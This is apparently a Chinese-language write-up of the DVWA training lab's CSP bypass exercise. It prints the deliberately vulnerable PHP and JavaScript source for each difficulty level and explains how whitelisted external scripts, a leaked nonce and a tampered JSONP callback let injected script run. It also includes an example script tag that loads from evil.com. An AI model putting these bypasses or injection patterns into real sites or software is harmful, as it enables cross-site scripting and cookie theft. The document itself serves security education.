DVWA靶场之十三:CSP 绕过(Content Security Policy (CSP) Bypass)
DVWA靶场之十三:CSP 绕过(Content Security Policy (CSP) Bypass)
CSP(Content Security Policy,内容安全策略) 是浏览器的一种安全机制,用来防止网页加载或执行不安全的内容,特别是 防止 XSS(跨站脚本攻击)。
它让网站开发者告诉浏览器:
“我只信任从哪些地方加载资源(如脚本、样式、图片),其它地方的资源都不要执行。”
举个例子:
Content-Security-Policy: script-src 'self'
这条规则的意思是:
“只允许执行来自本站(self)域名的 JavaScript,不允许执行来自其他域的脚本。”
如果攻击者往网页里注入了 <script src="http://evil.com/hack.js"></script>
,浏览器就会拒绝加载这个脚本,因为 CSP 不允许从 evil.com 加载。
本练习/题目的目的是在存在 CSP 的页面上找到实现 JS 执行的方式(通常因为 CSP 配置不当或实现错误),从而演示该配置的弱点。
1. low
<?php$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com https://digi.ninja ;"; // allows js from self, pastebin.com, hastebin.com, jquery, digi.ninja, and google analytics.header($headerCSP);# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" />
</form>
<p>As Pastebin and Hastebin have stopped working, here are some scripts that may, or may not help.
</p>
<ul><li>https://digi.ninja/dvwa/alert.js</li><li>https://digi.ninja/dvwa/alert.txt</li><li>https://digi.ninja/dvwa/cookie.js</li><li>https://digi.ninja/dvwa/forced_download.js</li><li>https://digi.ninja/dvwa/wrong_content_type.js</li>
</ul>
<p>Pretend these are on a server like Pastebin and try to work out why some work and some do not work. Check the help for an explanation if you get stuck.
</p>
';
只允许从下面这些来源加载或执行 JavaScript 脚本。
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com https://digi.ninja ;";
Content-Security-Policy
: CSP 安全策略头的名称。告诉浏览器要启用 CSP 检查
script-src
指定允许执行 JavaScript 的来源
'self'
允许来自当前网站自身域名的脚本(例如 https://yourdomain.com/js/app.js)
https://pastebin.com
允许从 pastebin.com 域名加载脚本。之后的类似
low难度练习就是把下面网址放进去测试
可以工作的脚本
- alert.js
原因:正常的JavaScript文件
服务器返回:正确的Content-Type: application/javascript头
结果:浏览器会执行这个脚本 - cookie.js
原因:正常的JavaScript文件,正确的内容类型
功能:显示你的cookies
结果:浏览器会执行并显示cookie信息
不能工作的脚本
- alert.txt
原因:文件扩展名为.txt
服务器返回:Content-Type: text/plain
结果:浏览器不会把文本文件当作JS执行 - forced_download.js
原因:服务器设置了Content-Disposition: attachment头
效果:强制浏览器下载文件而不是执行它
结果:脚本不会被执行 - wrong_content_type.js
原因:服务器强制设置Content-Type: text/plain
即使文件扩展名是.js,但内容类型是纯文本
结果:浏览器拒绝执行
2. medium
<?php$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";header($headerCSP);// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" />
</form>
';
只允许从下面这些来源加载或执行 JavaScript 脚本。
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
script-src
:这是在说“下面这些来源允许加载/执行 JavaScript”。
'self'
:允许来自本站域名的脚本。
'unsafe-inline'
:允许所有内联脚本执行(例如直接写在 的代码,或 HTML 属性里的事件处理器 οnclick=“…”)。这是一个非常宽松、风险较高的设置。
'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
:表示允许带有指定 nonce 值的内联 <script>
标签执行。TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA= 是 nonce 的 Base64 文本;解码后是 Never going to give you up。
实际上,要让某个内联脚本能执行,你在 HTML 中会写:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">/* script */</script>
浏览器会比对标签上的 nonce 与 CSP 中的 nonce-…,相同就允许该内联脚本执行。
比如
3. high
vulnerabilities/csp/source/high.php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" />
</form><script src="source/high.js"></script>
';
vulnerabilities/csp/source/high.js
function clickButton() {var s = document.createElement("script");s.src = "source/jsonp.php?callback=solveSum";document.body.appendChild(s);
}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}
}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();});
}
严格的CSP策略
$headerCSP = "Content-Security-Policy: script-src 'self';";
只允许同源脚本 ('self')
禁止内联脚本 (没有unsafe-inline)
禁止外部域 (没有其他域名)
安全的代码结构
// high.js - 使用JSONP方式安全加载数据
function clickButton() {var s = document.createElement("script");s.src = "source/jsonp.php?callback=solveSum";document.body.appendChild(s);
}
发现可以修改callback达到注入效果,这里使用burp
把solveSum改掉
可以得到
4. impossible
vulnerabilities/csp/source/impossible.php
<?php$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" />
</form><script src="source/impossible.js"></script>
';
vulnerabilities/csp/source/impossible.js
function clickButton() {var s = document.createElement("script");s.src = "source/jsonp_impossible.php";document.body.appendChild(s);
}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}
}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();});
}
这次没有callback函数了,完全消除了代码注入点